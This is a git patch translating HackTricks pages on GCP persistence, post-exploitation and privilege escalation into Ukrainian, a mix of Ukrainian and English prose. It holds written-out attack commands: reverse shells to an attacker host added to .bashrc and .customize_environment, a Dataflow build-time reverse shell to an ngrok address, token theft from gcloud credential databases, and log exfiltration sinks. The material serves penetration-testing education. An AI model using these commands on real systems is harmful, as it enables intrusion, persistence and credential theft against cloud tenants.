From 9dfcd2b5c8c1e4fd13148dd7f7bdca9901c85cb9 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 22 Nov 2025 20:16:50 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp --- .../gcp-bigtable-persistence.md | 38 +- .../gcp-cloud-shell-persistence.md | 60 +- .../gcp-dataflow-persistence.md | 22 +- .../gcp-logging-persistence.md | 14 +- .../gcp-non-svc-persistence.md | 76 +- .../gcp-storage-persistence.md | 16 +- .../gcp-app-engine-post-exploitation.md | 24 +- .../gcp-bigtable-post-exploitation.md | 140 +++- .../gcp-cloud-build-post-exploitation.md | 8 +- .../gcp-cloud-functions-post-exploitation.md | 26 +- .../gcp-cloud-shell-post-exploitation.md | 92 ++- .../gcp-cloud-sql-post-exploitation.md | 78 +- .../gcp-compute-post-exploitation.md | 108 ++- .../gcp-filestore-post-exploitation.md | 42 +- .../gcp-iam-post-exploitation.md | 22 +- .../gcp-kms-post-exploitation.md | 48 +- .../gcp-logging-post-exploitation.md | 88 ++- .../gcp-monitoring-post-exploitation.md | 68 +- .../gcp-pub-sub-post-exploitation.md | 94 ++- .../gcp-secretmanager-post-exploitation.md | 10 +- .../gcp-security-post-exploitation.md | 48 +- .../gcp-storage-post-exploitation.md | 20 +- .../gcp-vertex-ai-post-exploitation.md | 113 --- .../gcp-apikeys-privesc.md | 39 +- .../gcp-appengine-privesc.md | 65 +- .../gcp-artifact-registry-privesc.md | 128 +++- .../gcp-batch-privesc.md | 7 +- .../gcp-bigquery-privesc.md | 71 +- .../gcp-bigtable-privesc.md | 58 +- .../gcp-clientauthconfig-privesc.md | 8 +- .../gcp-cloudbuild-privesc.md | 42 +- .../gcp-cloudfunctions-privesc.md | 50 +- .../gcp-cloudidentity-privesc.md | 16 +- .../gcp-cloudscheduler-privesc.md | 32 +- .../gcp-cloudtasks-privesc.md | 24 +- .../gcp-composer-privesc.md | 50 +- .../gcp-container-privesc.md | 42 +- .../gcp-dataproc-privesc.md | 20 +- .../gcp-iam-privesc.md | 86 ++- .../gcp-kms-privesc.md | 46 +- ...local-privilege-escalation-ssh-pivoting.md | 46 +- .../gcp-network-docker-escape.md | 49 +- .../gcp-orgpolicy-privesc.md | 25 +- .../gcp-run-privesc.md | 40 +- .../gcp-secretmanager-privesc.md | 16 +- .../gcp-serviceusage-privesc.md | 30 +- .../gcp-sourcerepos-privesc.md | 56 +- .../gcp-storage-privesc.md | 62 +- .../gcp-vertex-ai-privesc.md | 719 ++++++++++++++++++ .../gcp-workflows-privesc.md | 46 +- .../gcp-services/gcp-vertex-ai-enum.md | 257 +++++++ 51 files changed, 2649 insertions(+), 736 deletions(-) delete mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md index 6cda5068f..c80a0d6ee 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md @@ -1,4 +1,4 @@ -# GCP - Bigtable Персистентність +# GCP - Bigtable Збереження доступу {{#include ../../../banners/hacktricks-training.md}} @@ -14,7 +14,11 @@ **Дозволи:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`. -Створіть app profile, який маршрутизує трафік до вашого кластера реплік, і увімкніть Data Boost, щоб ніколи не залежати від виділених вузлів, які можуть помітити defenders. +Створіть app profile, який направлятиме трафік до вашого replica cluster і увімкніть Data Boost, щоб ви ніколи не залежали від provisioned nodes, які захисники можуть помітити. + +
+ +Створіть stealth app profile ```bash gcloud bigtable app-profiles create stealth-profile \ --instance= --route-any --restrict-to= \ @@ -24,29 +28,43 @@ gcloud bigtable app-profiles update stealth-profile \ --instance= --data-boost \ --data-boost-compute-billing-owner=HOST_PAYS ``` -Поки цей профіль існує, ви можете повторно підключитися, використовуючи нові облікові дані, що посилаються на нього. +
-### Підтримуйте власний реплікаційний кластер +Поки цей профіль існує, ви можете повторно підключитися за допомогою нових облікових даних, які посилаються на нього. + +### Підтримуйте власний кластер-репліку **Дозволи:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`. -Створіть кластер з мінімальною кількістю вузлів у регіоні з низькою активністю. Навіть якщо ваші клієнтські ідентифікатори зникнуть, **кластер зберігає повну копію кожної таблиці** доти, доки захисники явно не видалять цю копію. +Розгорніть кластер з мінімальною кількістю вузлів у спокійному регіоні. Навіть якщо ваші клієнтські ідентичності зникнуть, **кластер зберігає повну копію кожної таблиці** доти, поки захисники явно не видалять її. + +
+ +Створити репліку кластера ```bash gcloud bigtable clusters create dark-clone \ --instance= --zone=us-west4-b --num-nodes=1 ``` -Слідкуйте за ним через `gcloud bigtable clusters describe dark-clone --instance=`, щоб ви могли миттєво масштабуватися, коли потрібно витягти дані. +
-### Заблокуйте реплікацію за власним CMEK +Слідкуйте за ним через `gcloud bigtable clusters describe dark-clone --instance=` щоб ви могли масштабуватися миттєво, коли потрібно витягти дані. -**Права:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key. +### Заблокуйте реплікацію за допомогою власного CMEK -Використовуйте власний KMS key під час створення clone. Без цього ключа Google не зможе re-create або fail over кластер, тож blue teams повинні координуватися з вами перед будь-якими діями. +**Права:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` на ключі, що належить атакуючому. + +Використовуйте власний KMS-ключ при запуску клону. Без цього ключа Google не зможе створити кластер заново або виконати fail over для кластера, тож blue teams повинні координуватися з вами перед втручанням. + +
+ +Створити кластер, захищений CMEK ```bash gcloud bigtable clusters create cmek-clone \ --instance= --zone=us-east4-b --num-nodes=1 \ --kms-key=projects//locations//keyRings//cryptoKeys/ ``` -Перегенеруйте або відключіть ключ у вашому проекті, щоб миттєво вивести репліку з ладу (але при цьому ви зможете увімкнути її пізніше). +
+ +Проведіть ротацію або відключіть key у вашому проекті, щоб миттєво вивести replica з ладу (залишивши при цьому можливість пізніше знову його ввімкнути). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md index 0ea1ce597..d91841645 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md @@ -4,57 +4,75 @@ ## Cloud Shell -Для отримання додаткової інформації перегляньте: +For more information check: {{#ref}} ../gcp-services/gcp-cloud-shell-enum.md {{#endref}} -### Постійний бекдор +### Persistent Backdoor -[**Google Cloud Shell**](https://cloud.google.com/shell/) надає вам доступ до командного рядка ваших хмарних ресурсів безпосередньо з вашого браузера без будь-яких супутніх витрат. +[**Google Cloud Shell**](https://cloud.google.com/shell/) надає доступ до командного рядка до ваших хмарних ресурсів безпосередньо з браузера і без додаткових витрат. -Ви можете отримати доступ до Cloud Shell Google з **веб-консолі** або запустивши **`gcloud cloud-shell ssh`**. +You can access Google's Cloud Shell from the **web console** or running **`gcloud cloud-shell ssh`**. -Ця консоль має деякі цікаві можливості для атакуючих: +This console has some interesting capabilities for attackers: -1. **Будь-який користувач Google з доступом до Google Cloud** має доступ до повністю автентифікованого екземпляра Cloud Shell (Службові облікові записи можуть, навіть будучи власниками організації). -2. Цей екземпляр **зберігатиме свою домашню директорію принаймні 120 днів**, якщо не буде жодної активності. -3. **Немає можливостей для організації моніторити** активність цього екземпляра. +1. **Any Google user with access to Google Cloud** має доступ до повністю автентифікованого Cloud Shell instance (Service Accounts can, even being Owners of the org). +2. Said instance will **maintain its home directory for at least 120 days** якщо не відбувається активність. +3. There is **no capabilities for an organisation to monitor** активність цього екземпляра. -Це в основному означає, що атакуючий може помістити бекдор у домашню директорію користувача, і поки користувач підключається до GC Shell принаймні кожні 120 днів, бекдор виживе, і атакуючий отримає оболонку щоразу, коли вона запускається, просто виконавши: +Це фактично означає, що attacker може помістити backdoor у домашній каталог користувача, і доки користувач підключається до GC Shell щонайменше раз на 120 днів, backdoor переживатиме, і attacker отримає shell щоразу при його запуску просто виконавши: + +
+ +Додати reverse shell до .bashrc ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ``` -В домашній папці є ще один файл під назвою **`.customize_environment`**, який, якщо існує, буде **виконуватись щоразу**, коли користувач отримує доступ до **cloud shell** (як у попередній техніці). Просто вставте попередній бекдор або один з наступних, щоб підтримувати стійкість, поки користувач "часто" використовує cloud shell: +
+ +Існує ще один файл у домашньому каталозі під назвою **`.customize_environment`**, який, якщо існує, буде **виконуватись щоразу**, коли користувач отримує доступ до **cloud shell** (як у попередній техніці). Просто вставте попередній backdoor або такий, як наведений нижче, щоб підтримувати persistence поки користувач "часто" користується **cloud shell**: + +
+ +Створити .customize_environment backdoor ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ``` -> [!WARNING] -> Важливо зазначити, що **перший раз, коли виконується дія, що вимагає аутентифікації**, у браузері користувача з'являється вікно авторизації. Це вікно потрібно прийняти, перш ніж команда зможе виконатися. Якщо з'явиться несподіване вікно, це може викликати підозру і потенційно скомпрометувати метод збереження. +
-Це вікно з'являється при виконанні `gcloud projects list` з cloud shell (як атакуючий), яке видно в сеансі браузера користувача: +> [!WARNING] +> Важливо зауважити, що **при першому виконанні дії, яка потребує аутентифікації**, у браузері користувача з'являється спливаюче вікно авторизації. Це вікно потрібно прийняти перед тим, як команда зможе виконатися. Якщо з'являється несподіване спливаюче вікно, це може викликати підозру і потенційно скомпрометувати метод підтримки доступу. + +This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
-Однак, якщо користувач активно використовував cloudshell, вікно не з'явиться, і ви можете **збирати токени користувача за допомогою**: +However, if the user has actively used the Cloud Shell, the pop-up won't appear and you can **gather tokens of the user with**: + +
+ +Отримати access tokens з Cloud Shell ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ``` -#### Як встановлюється з'єднання SSH +
-В основному, використовуються ці 3 API виклики: +#### Як встановлюється SSH-з'єднання -- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (дозволить вам додати ваш публічний ключ, який ви створили локально) -- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (дозволить вам запустити екземпляр) -- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (повідомить вам IP адресу google cloud shell) +Basically, these 3 API calls are used: -Але ви можете знайти додаткову інформацію в [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) +- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (дозволить додати ваш публічний ключ, створений локально) +- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (запустить інстанс) +- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (повідомить вам IP Google Cloud Shell) -## Посилання +But you can find further information in [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) + +## Джерела - [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec) - [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md index e718e241c..8f57f0b21 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md @@ -1,12 +1,16 @@ -# GCP - Dataflow Persistence +# GCP - Dataflow Персистентність {{#include ../../../banners/hacktricks-training.md}} ## Dataflow -### Невидима стійкість у вбудованому контейнері +### Невидима персистентність у збудованому контейнері -Слідуючи [**посібнику з документації**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates), ви можете створити новий (наприклад, python) гнучкий шаблон: +Дотримуючись [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) you can create a new (e.g. python) flex template: + +
+ +Створити Dataflow flex template with backdoor ```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_started @@ -36,9 +40,15 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \ --env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \ --region=us-central1 ``` -**Поки він будується, ви отримаєте зворотний шелл** (ви можете зловживати змінними середовища, як у попередньому прикладі, або іншими параметрами, які налаштовують Docker файл для виконання довільних дій). У цей момент, всередині зворотного шеллу, можливо **перейти до каталогу `/template` і змінити код основного python скрипта, який буде виконуватись (у нашому прикладі це `getting_started.py`)**. Встановіть тут свою бекдор, щоб щоразу, коли завдання виконується, воно виконувалося. +
-Тоді, наступного разу, коли завдання буде виконано, буде запущено скомпрометований контейнер: +**Під час складання ви отримаєте reverse shell** (ви можете зловживати env variables, як у попередньому прикладі, або іншими параметрами, що змушують Docker file виконувати довільні речі). У цей момент, всередині reverse shell, можна **перейти до каталогу `/template` та змінити код основного python-скрипта, який буде виконано (у нашому прикладі це `getting_started.py`)**. Розмістіть тут свій backdoor, щоб щоразу при виконанні job він виконувався. + +Тоді, наступного разу коли job буде виконано, буде запущено скомпрометований контейнер, який було зібрано: + +
+ +Запустити Dataflow template ```bash # Run template gcloud dataflow $NAME_TEMPLATE run testing \ @@ -46,4 +56,6 @@ gcloud dataflow $NAME_TEMPLATE run testing \ --parameters=output="gs://$REPOSITORY/out" \ --region=us-central1 ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md index 5479295a5..f066203c4 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md @@ -1,10 +1,10 @@ -# GCP - Збереження журналів +# GCP - Logging Persistence {{#include ../../../banners/hacktricks-training.md}} -## Журнали +## Логування -Знайдіть більше інформації про журнали в: +Дізнайтеся більше про Logging в: {{#ref}} ../gcp-services/gcp-logging-enum.md @@ -12,8 +12,14 @@ ### `logging.sinks.create` -Створіть злив, щоб ексфільтрувати журнали до доступного для зловмисника місця призначення: +Створіть sink для ексфільтрації логів до місця, доступного атакуючому: + +
+ +Створити logging sink ```bash gcloud logging sinks create --log-filter="FILTER_CONDITION" ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md index 8265b3ee6..f22a55417 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md @@ -1,51 +1,79 @@ -# GCP - Токен Постійності +# GCP - Персистенція токенів {{#include ../../../banners/hacktricks-training.md}} -### Токени Аутентифікованого Користувача +### Автентифіковані токени користувача -Щоб отримати **поточний токен** користувача, ви можете виконати: +Щоб отримати **поточний токен** користувача, можна виконати: + +
+ +Отримати access token з бази даних SQLite ```bash sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';" ``` -Перевірте на цій сторінці, як **безпосередньо використовувати цей токен за допомогою gcloud**: +
+ +Перевірте на цій сторінці, як **безпосередньо використовувати цей token за допомогою gcloud**: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp {{#endref}} -Щоб отримати деталі для **генерації нового токена доступу**, виконайте: +Щоб отримати деталі для **generate a new access token** виконайте: + +
+ +Get refresh token from SQLite database ```bash sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='';" ``` -Також можливо знайти токени оновлення в **`$HOME/.config/gcloud/application_default_credentials.json`** та в **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**. +
-Щоб отримати новий оновлений токен доступу з **токеном оновлення**, ідентифікатором клієнта та секретом клієнта, виконайте: +Також можна знайти refresh tokens в **`$HOME/.config/gcloud/application_default_credentials.json`** та в **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**. + +Щоб отримати новий access token за допомогою **refresh token**, client ID та client secret, виконайте: + +
+ +Отримати новий access token, використовуючи refresh token ```bash curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token ``` -Термін дії токенів оновлення можна керувати в **Admin** > **Security** > **Google Cloud session control**, і за замовчуванням він встановлений на 16 годин, хоча його можна налаштувати так, щоб він ніколи не закінчувався: +
+ +Дійсність refresh tokens можна керувати в **Admin** > **Security** > **Google Cloud session control**, і за замовчуванням вона встановлена на 16h, хоча можна встановити never expire:
-### Auth flow +### Потік автентифікації -Потік аутентифікації при використанні чогось на кшталт `gcloud auth login` відкриє запит у браузері, і після прийняття всіх областей браузер надішле запит, подібний до цього, на http-порт, відкритий інструментом: +Потік автентифікації при використанні, наприклад, `gcloud auth login`, відкриває підказку в браузері, і після підтвердження всіх scopes браузер відправить запит, подібний до цього, на http-порт, відкритий інструментом: ``` /?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1 ``` -Тоді gcloud використовуватиме стан і код з деяким зашитим `client_id` (`32555940559.apps.googleusercontent.com`) та **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`), щоб отримати **останні дані токена оновлення**. +Потім gcloud використає state і code разом із захардкодженим `client_id` (`32555940559.apps.googleusercontent.com`) та **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) щоб отримати **кінцеві дані refresh token**. > [!CAUTION] -> Зверніть увагу, що зв'язок з localhost здійснюється через HTTP, тому можливо перехопити дані для отримання токена оновлення, однак ці дані дійсні лише 1 раз, тому це буде марно, легше просто прочитати токен оновлення з файлу. +> Зауважте, що зв'язок з localhost відбувається через HTTP, тому можливо перехопити дані, щоб отримати refresh token; однак ці дані дійсні лише 1 раз, тож це марно — простіше просто прочитати refresh token з файлу. ### OAuth Scopes -Ви можете знайти всі Google scopes на [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) або отримати їх, виконавши: +Ви можете знайти всі Google scopes в [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) або отримати їх виконуючи: + +
+ +Отримати всі Google OAuth scopes ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u ``` -Можна побачити, які області підтримує програма, яку **`gcloud`** використовує для аутентифікації, за допомогою цього скрипта: +
+ +Можна побачити, які scopes може підтримувати застосунок, який **`gcloud`** використовує для аутентифікації, за допомогою цього скрипта: + +
+ +Перевірити підтримувані scopes для gcloud ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" @@ -55,7 +83,9 @@ echo $scope fi done ``` -Після виконання було перевірено, що цей додаток підтримує ці області: +
+ +Після виконання було перевірено, що цей додаток підтримує такі області доступу: ``` https://www.googleapis.com/auth/appengine.admin https://www.googleapis.com/auth/bigquery @@ -65,22 +95,22 @@ https://www.googleapis.com/auth/devstorage.full_control https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/userinfo.email ``` -цікаво бачити, як цей додаток підтримує **`drive`** область, що може дозволити користувачу ескалувати з GCP до Workspace, якщо зловмисник зможе змусити користувача згенерувати токен з цією областю. +it's interesting to see how this app supports the **`drive`** scope, which could allow a user to escalate from GCP to Workspace if an attacker manages to force the user to generate a token with this scope. -**Перевірте, як** [**зловживати цим тут**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.** +**Перегляньте, як** [**abuse this here**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.** -### Облікові записи служб +### Сервісні облікові записи -Так само, як і з автентифікованими користувачами, якщо вам вдасться **зламати файл приватного ключа** облікового запису служби, ви зможете **доступати до нього зазвичай так довго, як вам потрібно**.\ -Однак, якщо ви вкрадете **OAuth токен** облікового запису служби, це може бути ще цікавіше, оскільки, навіть якщо за замовчуванням ці токени корисні лише протягом години, якщо **жертва видалить приватний API ключ, OAuth токен залишиться дійсним до його закінчення**. +Так само, як і з аутентифікованими користувачами, якщо вам вдасться **компрометувати файл приватного ключа** сервісного облікового запису, ви зазвичай зможете **отримувати доступ до нього скільки завгодно**.\ +Однак, якщо ви викрадете **OAuth token** сервісного облікового запису, це може бути ще цікавіше, тому що, навіть якщо за замовчуванням ці токени придатні лише протягом години, якщо **жертва видалить приватний api key, OAuh token will still be valid until it expires**. ### Метадані -Очевидно, поки ви знаходитесь всередині машини, що працює в середовищі GCP, ви зможете **доступати до облікового запису служби, прикріпленого до цієї машини, звертаючись до кінцевої точки метаданих** (зверніть увагу, що токени Oauth, до яких ви можете отримати доступ на цій кінцевій точці, зазвичай обмежені областями). +Очевидно, поки ви перебуваєте на машині, що працює в середовищі GCP, ви зможете **отримати доступ до сервісного облікового запису, прив'язаного до цієї машини, звертаючись до metadata endpoint** (зауважте, що Oauth tokens, які ви можете отримати через цей endpoint, зазвичай обмежені scopes). -### Виправлення +### Рекомендації -Деякі виправлення для цих технік пояснені в [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) +Деякі рекомендації щодо усунення цих технік пояснені в [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) ### Посилання diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md index 7900ab882..d406528fc 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md @@ -1,8 +1,8 @@ -# GCP - Збереження в сховищі +# GCP - Storage Персистентність {{#include ../../../banners/hacktricks-training.md}} -## Сховище +## Storage Для отримання додаткової інформації про Cloud Storage дивіться: @@ -12,7 +12,11 @@ ### `storage.hmacKeys.create` -Ви можете створити HMAC для підтримки постійності над бакетом. Для отримання додаткової інформації про цю техніку [**перевірте тут**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create). +Ви можете створити HMAC, щоб підтримувати персистентність для bucket. Для отримання додаткової інформації про цю техніку [**перегляньте її тут**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create). + +
+ +Створення та використання HMAC-ключа для доступу до Storage ```bash # Create key gsutil hmac create @@ -23,11 +27,13 @@ gsutil config -a # Use it gsutil ls gs://[BUCKET_NAME] ``` -Ще один експлойт-скрипт для цього методу можна знайти [тут](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py). +
+ +Ще один скрипт експлойту для цього методу можна знайти [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py). ### Надати публічний доступ -**Зробити бакет публічно доступним** - це ще один спосіб підтримувати доступ до бакету. Перевірте, як це зробити в: +**Зробити bucket доступним публічно** — ще один спосіб зберегти доступ до bucket. Див. як це зробити в: {{#ref}} ../gcp-post-exploitation/gcp-storage-post-exploitation.md diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md index 68b708519..bfae42ad5 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md @@ -4,7 +4,7 @@ ## `App Engine` -Для отримання інформації про App Engine перегляньте: +Для інформації про App Engine див. за посиланням: {{#ref}} ../gcp-services/gcp-app-engine-enum.md @@ -12,7 +12,7 @@ ### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush` -З цими дозволами можливо: +З цими дозволами можна: - Додати ключ - Переглянути ключі @@ -20,22 +20,28 @@ - Видалити > [!CAUTION] -> Однак, я **не зміг знайти жодного способу отримати цю інформацію з cli**, тільки з **веб-консолі**, де потрібно знати **Тип ключа** та **Ім'я ключа**, або з **додатку, що працює на app engine**. +> Однак я **не зміг знайти спосіб доступу до цієї інформації з cli**, лише через **web console**, де потрібно знати **Key type** та **Key name**, або з a**pp engine running app**. > -> Якщо ви знаєте простіші способи використання цих дозволів, надішліть Pull Request! +> Якщо ви знаєте простіші способи використання цих дозволів — надішліть Pull Request! ### `logging.views.access` -З цим дозволом можливо **переглядати журнали додатку**: +З цим дозволом можна **переглянути логи додатку**: + +
+ +Tail app logs ```bash gcloud app logs tail -s ``` -### Читати вихідний код +
-Вихідний код усіх версій та сервісів **зберігається в бакеті** з назвою **`staging..appspot.com`**. Якщо у вас є доступ на запис, ви можете читати вихідний код і шукати **вразливості** та **чутливу інформацію**. +### Читати Source Code -### Модифікувати вихідний код +Source Code всіх версій та сервісів **stored in the bucket** з ім'ям **`staging..appspot.com`**. Якщо у вас є write доступ до нього, ви можете читати Source Code і шукати **vulnerabilities** та **sensitive information**. -Модифікуйте вихідний код, щоб вкрасти облікові дані, якщо вони надсилаються, або здійснити атаку на веб-сайт. +### Змінити Source Code + +Змініть Source Code, щоб вкрасти credentials, якщо вони відправляються, або виконати defacement web attack. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md index ca33049dd..1fcb70543 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md @@ -4,37 +4,53 @@ ## Bigtable -Для отримання додаткової інформації про Bigtable див. : +Для отримання додаткової інформації про Bigtable див.: {{#ref}} ../gcp-services/gcp-bigtable-enum.md {{#endref}} > [!TIP] -> Встановіть `cbt` CLI через Cloud SDK один раз, щоб наведені нижче команди працювали локально: +> Встановіть `cbt` CLI один раз через Cloud SDK, щоб наведенні нижче команди працювали локально: +> +>
+> +> Встановити cbt CLI > > ```bash > gcloud components install cbt > ``` +> +>
### Читання рядків -**Права доступу:** `bigtable.tables.readRows` +**Дозволи:** `bigtable.tables.readRows` -`cbt` входить до складу Cloud SDK і звертається до admin/data APIs без потреби в проміжному програмному забезпеченні. Вкажіть його на скомпрометований проект/інстанс і вивантажте рядки безпосередньо з таблиці. Обмежте сканування, якщо вам потрібен лише швидкий перегляд. +`cbt` постачається з Cloud SDK і працює з admin/data APIs без потреби в проміжному ПЗ. Вкажіть його на скомпрометований проект/інстанс і вивантажте рядки прямо з таблиці. Обмежте сканування, якщо потрібно лише переглянути. + +
